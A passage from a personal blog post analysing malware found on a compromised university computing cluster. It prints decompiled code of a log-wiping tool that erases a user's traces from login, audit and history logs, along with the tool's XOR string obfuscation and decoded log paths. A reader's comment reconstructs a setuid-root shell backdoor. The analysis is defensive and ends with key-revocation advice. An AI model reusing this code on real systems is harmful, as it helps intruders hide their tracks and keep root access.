      <span style="color: #008800; font-weight: bold;">if</span> (argc <span style="color: #333333;">&lt;=</span> optind <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>) {
        printmessage();
        <span style="color: #888888;">/* WARNING: Subroutine does not return */</span>
        exit(<span style="color: #0000dd; font-weight: bold;">1</span>);
      }
      <span style="color: #008800; font-weight: bold;">if</span> (filename <span style="color: #333333;">==</span> (<span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span> ) <span style="color: #005588; font-weight: bold;">0x0</span>) {
        filename <span style="color: #333333;">=</span> <span style="color: #333333;">&amp;</span> WTMP;
      }
      retval <span style="color: #333333;">=</span> machmitfile(filename, argv[optind], argv[(<span style="color: #333399; font-weight: bold;">long</span>) optind <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>], (ulong) local_18);
    } <span style="color: #008800; font-weight: bold;">else</span> {
      <span style="color: #008800; font-weight: bold;">if</span> (optb) {
        <span style="color: #008800; font-weight: bold;">if</span> (argc <span style="color: #333333;">&lt;=</span> optind <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>) {
          printmessage();
          <span style="color: #888888;">/* WARNING: Subroutine does not return */</span>
          exit(<span style="color: #0000dd; font-weight: bold;">1</span>);
        }
        <span style="color: #008800; font-weight: bold;">if</span> (filename <span style="color: #333333;">==</span> (<span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span> ) <span style="color: #005588; font-weight: bold;">0x0</span>) {
          filename <span style="color: #333333;">=</span> <span style="color: #333333;">&amp;</span> BTMP;
        }
        retval <span style="color: #333333;">=</span> machmitfile(filename, argv[optind], argv[(<span style="color: #333399; font-weight: bold;">long</span>) optind <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>], (ulong) local_18);
      } <span style="color: #008800; font-weight: bold;">else</span> {
        <span style="color: #008800; font-weight: bold;">if</span> (optl) {
          <span style="color: #008800; font-weight: bold;">if</span> (argc <span style="color: #333333;">&lt;=</span> optind) {
            printmessage();
            <span style="color: #888888;">/* WARNING: Subroutine does not return */</span>
            exit(<span style="color: #0000dd; font-weight: bold;">1</span>);
          }
          <span style="color: #008800; font-weight: bold;">if</span> (filename <span style="color: #333333;">==</span> (<span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span> ) <span style="color: #005588; font-weight: bold;">0x0</span>) {
            filename <span style="color: #333333;">=</span> <span style="color: #333333;">&amp;</span> LASTLOG;
          }
          retval <span style="color: #333333;">=</span> writezerosinfile(filename, argv[optind], argv[optind]);
        } <span style="color: #008800; font-weight: bold;">else</span> {
          <span style="color: #008800; font-weight: bold;">if</span> (optm) {
            <span style="color: #008800; font-weight: bold;">if</span> (argc <span style="color: #333333;">&lt;=</span> optind <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">3</span>) {
              printmessage();
              <span style="color: #888888;">/* WARNING: Subroutine does not return */</span>
              exit(<span style="color: #0000dd; font-weight: bold;">1</span>);
            }
            <span style="color: #008800; font-weight: bold;">if</span> (filename <span style="color: #333333;">==</span> (<span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span> ) <span style="color: #005588; font-weight: bold;">0x0</span>) {
              filename <span style="color: #333333;">=</span> <span style="color: #333333;">&amp;</span> LASTLOG;
            }
            retval <span style="color: #333333;">=</span> FUN_00401bb0(filename, argv[optind], argv[(<span style="color: #333399; font-weight: bold;">long</span>) optind <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>],
              argv[(<span style="color: #333399; font-weight: bold;">long</span>) optind <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">2</span>], argv[(<span style="color: #333399; font-weight: bold;">long</span>) optind <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">3</span>]);
          } <span style="color: #008800; font-weight: bold;">else</span> {
            <span style="color: #008800; font-weight: bold;">if</span> (opts) {
              <span style="color: #008800; font-weight: bold;">if</span> (argc <span style="color: #333333;">&lt;=</span> optind) {
                printmessage();
                <span style="color: #888888;">/* WARNING: Subroutine does not return */</span>
                exit(<span style="color: #0000dd; font-weight: bold;">1</span>);
              }
              local_68 <span style="color: #333333;">=</span> argv[optind];
              <span style="color: #008800; font-weight: bold;">if</span> (filename <span style="color: #333333;">==</span> (<span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span> ) <span style="color: #005588; font-weight: bold;">0x0</span>) {
                printmessage();
              } <span style="color: #008800; font-weight: bold;">else</span> {
                retval <span style="color: #333333;">=</span> machshitmitfile(filename, local_68, (ulong) local_18, local_68);
              }
            } <span style="color: #008800; font-weight: bold;">else</span> {
              <span style="color: #008800; font-weight: bold;">if</span> (opta) {
                <span style="color: #008800; font-weight: bold;">if</span> (argc <span style="color: #333333;">&lt;=</span> optind <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>) {
                  printmessage();
                  <span style="color: #888888;">/* WARNING: Subroutine does not return */</span>
                  exit(<span style="color: #0000dd; font-weight: bold;">1</span>);
                }
                __s1 <span style="color: #333333;">=</span> argv[optind];
                pcVar1 <span style="color: #333333;">=</span> argv[(<span style="color: #333399; font-weight: bold;">long</span>) optind <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>];
                numberarg <span style="color: #333333;">=</span> strcmp(__s1, <span style="color: #333333;">&amp;</span> ROOT);
                <span style="color: #008800; font-weight: bold;">if</span> (numberarg <span style="color: #333333;">==</span> <span style="color: #0000dd; font-weight: bold;">0</span>) {
                  local_18 <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">1</span>;
                }
                machmitfile( <span style="color: #333333;">&amp;</span> WTMP, __s1, pcVar1, (ulong) local_18);
                machmitfile( <span style="color: #333333;">&amp;</span> UTMP, __s1, pcVar1, (ulong) local_18);
                machmitfile( <span style="color: #333333;">&amp;</span> BTMP, __s1, pcVar1, (ulong) local_18);
                writezerosinfile( <span style="color: #333333;">&amp;</span> LASTLOG, __s1, __s1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> MESSAGES, __s1, (ulong) local_18, __s1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> MESSAGES, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> SECURE, __s1, (ulong) local_18, __s1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> SECURE, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> AUTHPRIV, __s1, (ulong) local_18, __s1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> AUTHPRIV, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> DEAMONLOG, __s1, (ulong) local_18, __s1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> DEAMONLOG, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> SYSLOG, __s1, (ulong) local_18, __s1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> SYSLOG, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> WARN, __s1, (ulong) local_18, __s1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> WARN, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> DEBUG, __s1, (ulong) local_18, __s1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> DEBUG, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> AUDIT0, __s1, (ulong) local_18, __s1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> AUDIT0, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> AUDIT1, __s1, (ulong) local_18, __s1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> AUDIT1, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> AUDIT2, __s1, (ulong) local_18, __s1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> AUDIT2, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> AUTHLOG, __s1, (ulong) local_18, __s1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> AUTHLOG, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( <span style="color: #333333;">&amp;</span> HISTORY, __s1, (ulong) local_18, __s1);
                retval <span style="color: #333333;">=</span> machshitmitfile( <span style="color: #333333;">&amp;</span> HISTORY, pcVar1, (ulong) local_18, pcVar1);
                password <span style="color: #333333;">=</span> getpwnam(__s1);
                <span style="color: #008800; font-weight: bold;">if</span> (password <span style="color: #333333;">!=</span> (passwd <span style="color: #333333;">*</span> ) <span style="color: #005588; font-weight: bold;">0x0</span>) {
                  sprintf(uitistgleich, <span style="color: #333333;">&amp;</span> UIDISPROZD, (ulong) password <span style="color: #333333;">-</span> <span style="color: #333333;">&gt;</span> pw_uid);
                  machshitmitfile( <span style="color: #333333;">&amp;</span> SECURE, uitistgleich, (ulong) local_18, uitistgleich);
                  machshitmitfile( <span style="color: #333333;">&amp;</span> AUDIT0, uitistgleich, (ulong) local_18, uitistgleich);
                  machshitmitfile( <span style="color: #333333;">&amp;</span> AUDIT1, uitistgleich, (ulong) local_18, uitistgleich);
                  retval <span style="color: #333333;">=</span> machshitmitfile( <span style="color: #333333;">&amp;</span> AUDIT2, uitistgleich, (ulong) local_18, uitistgleich);
                }
              }
            }
          }
        }
      }
    }
  }
  <span style="color: #008800; font-weight: bold;">return</span> (ulong) retval;
}
</pre>
</div>
<br />
But what are the file names? They sit in some memory locations pre-initialized at startup but remember, strings did not show anything interesting.<br />
But before anything else, a function scramble() is called on them:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #333399; font-weight: bold;">void</span> <span style="color: #0066bb; font-weight: bold;">scramble</span>(<span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span>p,<span style="color: #333399; font-weight: bold;">int</span> count)

{
  <span style="color: #333399; font-weight: bold;">int</span> m;
  <span style="color: #333399; font-weight: bold;">int</span> i;
  
  <span style="color: #008800; font-weight: bold;">if</span> (<span style="color: #0000dd; font-weight: bold;">0</span> <span style="color: #333333;">&lt;</span> count) {
    m <span style="color: #333333;">=</span> count <span style="color: #333333;">*</span> <span style="color: #005588; font-weight: bold;">0x8249</span>;
    i <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">0</span>;
    <span style="color: #008800; font-weight: bold;">while</span> (m <span style="color: #333333;">=</span> (m <span style="color: #333333;">+</span> <span style="color: #005588; font-weight: bold;">0x39ef</span>) <span style="color: #333333;">%</span> <span style="color: #005588; font-weight: bold;">0x52c7</span>, i <span style="color: #333333;">&lt;</span> count) {
      p[i] <span style="color: #333333;">=</span> (byte)m <span style="color: #333333;">^</span> p[i];
      m <span style="color: #333333;">=</span> m <span style="color: #333333;">*</span> <span style="color: #005588; font-weight: bold;">0x8249</span>;
      i <span style="color: #333333;">=</span> i <span style="color: #333333;">+</span> <span style="color: #0000dd; font-weight: bold;">1</span>;
    }
  }
  <span style="color: #008800; font-weight: bold;">return</span>;
}
</pre>
</div>
<br />
As you can see, once more there is some xor-ing going on to hide the ascii filename. So, once more, I put the initial data as well as this function a in a separate C program and it produced:<br />
<br />
<pre>603130: /var/run/utmp
60313e: /var/log/wtmp
60314c: /var/log/btmp
603160: /var/log/lastlog
603180: /var/log/messages
6031a0: /var/log/secure
6031b0: /var/log/warn
6031be: /var/log/debug
6031d0: /var/log/audit/audit.log
6031f0: /var/log/audit/audit.log.1
603210: /var/log/audit/audit.log.2
603230: /var/log/auth.log
603250: /var/log/ConsoleKit/history
603270: /var/log/authpriv
603290: /var/log/daemon.log
6032b0: /var/log/syslog
</pre>
<br />
Ah, these are the log-files where you want to remove your traces.<br />
<br />
This is how far my analysis goes. In case, you want to look at this yourself, I put everything (both binaries, the Ghidra file, my separate C program) in a <a href="https://neu.atdotde.de/~robert/fonts.tgz">tar-ball</a> for you to download.<br />
<br />
What all this does not show: How did the attackers get in in the first place (possibly by stealing some user's private keys on another compromised machine), how they did the privilege escalation to be able to produce a suid-root file and also, for how long they have been around. As you can see above, the files have a time stamp from over two years ago. But once you are root you can of course set this to whatever you want. But it's not clear why you wanted to back date your backdoor. I should stress that I am only a normal user on that server, so for example I don't have access to the backups to check if these files have really been around for that long.<br />
<br />
Furthermore, the things I found are not very sophisticated. Yes, they prevented my to find out what's going on with strings by obfuscating their strings. But the rest was all so straight forward that even amateur like myself with a bit of decompiling could figure our what is going on. Plus leaving your backdoor as a suid program laying around in the file system in plain sight is not very secretive (but possibly enough to be undetected for more than two years). So unless these two files are not explicitly there to be found, the attacker will not be the most subtle one.<br />
<br />
Which leaves the question about the attacker's motivation. Was it only for sports (bringing some thousand CPUs under control)? Was it for bitcoin mining (the most direct way to turn this advantage into material gain)? Or did they try to steal data/files etc?<br />
<br />
If you have an account on one of the affected machines (in our case that would be anybody with a physics account at LMU as at least one affected machine had your home directory mounted) you should revoke all your secret keys that were stored there (GPG or ssh, in the latter case that means in particular delete them from .ssh/authorizedkeys and .ssh/authorizedkeys2 <i>everywhere</i>, not just on the affected machines. And you should consider all data on those machines compromised (whatever that might have as consequences for you). If attackers had access to your ssh private keys, they could be as well on all machines that those allow to log into without entering further passwords/passphrases/OTPs.
<div style='clear: both;'></div>
</div>
<div class='post-footer'>
<div class='post-footer-line post-footer-line-1'><span class='post-author vcard'>
Posted by
<span class='fn'>Robert</span>
</span>
<span class='post-timestamp'>
at
<a class='timestamp-link' href='https://atdotde.blogspot.com/2020/05/high-performance-hackers.html' rel='bookmark' title='permanent link'><abbr class='published' title='2020-05-16T13:23:00+02:00'>1:23 PM</abbr></a>
</span>
<span class='post-comment-link'>
</span>
<span class='post-icons'>
<span class='item-control blog-admin pid-1144796471'>
<a href='https://www.blogger.com/post-edit.g?blogID=8883034&postID=8583103985111654027&from=pencil' title='Edit Post'>
<img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/>
</a>
</span>
</span>
</div>
<div class='post-footer-line post-footer-line-2'><span class='post-labels'>
</span>
</div>
<div class='post-footer-line post-footer-line-3'></div>
</div>
</div>
<div class='comments' id='comments'>
<a name='comments'></a>
<h4>2 comments:</h4>
<div id='Blog1_comments-block-wrapper'>
<dl class='avatar-comment-indent' id='comments-block'>
<dt class='comment-author ' id='c475209700520726815'>
<a name='c475209700520726815'></a>
<div class="avatar-image-container avatar-stock"><span dir="ltr"><a href="https://www.blogger.com/profile/17705593479061175044" target="" rel="nofollow" onclick="" class="avatar-hovercard" id="av-475209700520726815-17705593479061175044"><img src="//www.blogger.com/img/blogger_logo_round_35.png" width="35" height="35" alt="" title="Jonathan">

</a></span></div>
<a href='https://www.blogger.com/profile/17705593479061175044' rel='nofollow'>Jonathan</a>
said...
</dt>
<dd class='comment-body' id='Blog1_cmt-475209700520726815'>
<p>
Your tarball has a dangling symlink and it would have been nice to have the original .font and .low files. There is also no source code for your myfont. Despite running a HPC system in the UK with users with accounts on LRZ, TU-Dresden and ARCHER (all of which have been hacked) we have escaped...<br /><br />The initial entry point is unsecured private SSH keys. Once you are in and if you make a successful privilege escalation to root then it is trivial to scan the system for more unsecured private SSH keys. The mechanism for the privilege escalation is unclear at this point.<br /><br />The original source for the runbash function probably looked something more like this<br /><br />void runbash(void)<br />{<br /> char command[] = &quot;N\0\n\nJ\x04\x06\x1b\x01&quot;;<br /> char arguments[] = &quot;\x03\x03\x10\f&quot;;<br /> char i;<br />   <br /> for (i=0;i&lt;9;i++) {<br />  command[i] ^= i + 0x61U;<br /> }<br /><br /> for (i=0;i&lt;4;i++) {<br />  arguments[i] ^= i + 0x61U;<br /> }<br /><br />  setgid(0);<br /> setuid(0);<br /> execl(command, arguments, 0);<br /><br /> return;<br />}<br /><br />As it stands it should not work as execl requires null terminated strings...
</p>
</dd>
<dd class='comment-footer'>
<span class='comment-timestamp'>
<a href='https://atdotde.blogspot.com/2020/05/high-performance-hackers.html?showComment=1589883007733#c475209700520726815' title='comment permalink'>
12:10 PM
</a>
<span class='item-control blog-admin pid-1656992337'>
<a class='comment-delete' href='https://www.blogger.com/delete-comment.g?blogID=8883034&postID=475209700520726815' title='Delete Comment'>
<img src='https://resources.blogblog.com/img/icon_delete13.gif'/>
</a>
</span>
</span>
</dd>
<dt class='comment-author ' id='c8193644517188042729'>
<a name='c8193644517188042729'></a>
<div class="avatar-image-container vcard"><span dir="ltr"><a href="https://www.blogger.com/profile/16749282870761102708" target="" rel="nofollow" onclick="" class="avatar-hovercard" id="av-8193644517188042729-16749282870761102708"><img src="https://resources.blogblog.com/img/blank.gif" width="35" height="35" class="delayLoad" style="display: none;" longdesc="//3.bp.blogspot.com/_BE5ZrHwXFJs/Sro88uqkLII/AAAAAAAAAAs/CADfL2-Sx4w/S45-s35/noname.jpg" alt="" title="Alexa">

<noscript><img src="//3.bp.blogspot.com/_BE5ZrHwXFJs/Sro88uqkLII/AAAAAAAAAAs/CADfL2-Sx4w/S45-s35/noname.jpg" width="35" height="35" class="photo" alt=""></noscript></a></span></div>
<a href='https://www.blogger.com/profile/16749282870761102708' rel='nofollow'>Alexa</a>
said...
</dt>
<dd class='comment-body' id='Blog1_cmt-8193644517188042729'>
<span class='deleted-comment'>This comment has been removed by the author.</span>
</dd>
<dd class='comment-footer'>
<span class='comment-timestamp'>
<a href='https://atdotde.blogspot.com/2020/05/high-performance-hackers.html?showComment=1596041282958#c8193644517188042729' title='comment permalink'>
6:48 PM
</a>
<span class='item-control blog-admin '>
<a class='comment-delete' href='https://www.blogger.com/delete-comment.g?blogID=8883034&postID=8193644517188042729' title='Delete Comment'>
<img src='https://resources.blogblog.com/img/icon_delete13.gif'/>
</a>
</span>
</span>
</dd>
</dl>
</div>
<p class='comment-footer'>
<a href='https://www.blogger.com/comment.g?blogID=8883034&postID=8583103985111654027' onclick=''>Post a Comment</a>
</p>
</div>
</div>

        </div></div>
      
</div>
<div class='blog-pager' id='blog-pager'>
<span id='blog-pager-newer-link'>
<a class='blog-pager-newer-link' href='https://atdotde.blogspot.com/2020/06/installiert-die-corona-warn-app-auch.html' id='Blog1_blog-pager-newer-link' title='Newer Post'>Newer Post</a>
</span>
<span id='blog-pager-older-link'>
<a class='blog-pager-older-link' href='https://atdotde.blogspot.com/2020/04/please-comment-should-online-teaching.html' id='Blog1_blog-pager-older-link' title='Older Post'>Older Post</a>
</span>
<a class='home-link' href='https://atdotde.blogspot.com/'>Home</a>
</div>
<div class='clear'></div>
<div class='post-feeds'>
<div class='feed-links'>
Subscribe to:
<a class='feed-link' href='https://atdotde.blogspot.com/feeds/8583103985111654027/comments/default' target='_blank' type='application/atom+xml'>Post Comments (Atom)</a>
</div>
</div>
</div></div>
</div>
<div id='sidebar-wrapper'>
<div class='sidebar section' id='sidebar'><div class='widget Profile' data-version='1' id='Profile1'>
<h2>About Me</h2>
<div class='widget-content'>
<dl class='profile-datablock'>
<dt class='profile-data'>
<a class='profile-name-link g-profile' href='https://www.blogger.com/profile/06634377111195468947' rel='author' style='background-image: url(//www.blogger.com/img/logo-16.png);'>
Robert
</a>
</dt>
</dl>
<a class='profile-link' href='https://www.blogger.com/profile/06634377111195468947' rel='author'>View my complete profile</a>
<div class='clear'></div>
</div>
</div><div class='widget BlogArchive' data-version='1' id='BlogArchive1'>
<h2>Blog Archive</h2>
<div class='widget-content'>
<div id='ArchiveList'>
<div id='BlogArchive1_ArchiveList'>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2021/'>
2021
</a>
<span class='post-count' dir='ltr'>(2)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2021/07/'>
July
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2021/06/'>
June
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate expanded'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy toggle-open'>

        &#9660;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2020/'>
2020
</a>
<span class='post-count' dir='ltr'>(5)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2020/07/'>
July
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2020/06/'>
June
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate expanded'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy toggle-open'>

        &#9660;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2020/05/'>
May
</a>
<span class='post-count' dir='ltr'>(1)</span>
<ul class='posts'>
<li><a href='https://atdotde.blogspot.com/2020/05/high-performance-hackers.html'>High Performance Hackers</a></li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2020/04/'>
April
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2019/'>
2019
</a>
<span class='post-count' dir='ltr'>(6)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2019/11/'>
November
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2019/03/'>
March
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2019/02/'>
February
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2019/01/'>
January
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2018/'>
2018
</a>
<span class='post-count' dir='ltr'>(3)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2018/10/'>
October
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2018/03/'>
March
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2017/'>
2017
</a>
<span class='post-count' dir='ltr'>(5)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2017/12/'>
December
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2017/11/'>
November
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2017/06/'>
June
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2016/'>
2016
</a>
<span class='post-count' dir='ltr'>(13)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2016/12/'>
December
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2016/11/'>
November
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2016/10/'>
October
</a>
<span class='post-count' dir='ltr'>(4)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2016/09/'>
September
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2016/06/'>
June
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2016/05/'>
May
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2016/04/'>
April
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2014/'>
2014
</a>
<span class='post-count' dir='ltr'>(2)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2014/05/'>
May
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2014/01/'>
January
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2012/'>
2012
</a>
<span class='post-count' dir='ltr'>(4)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
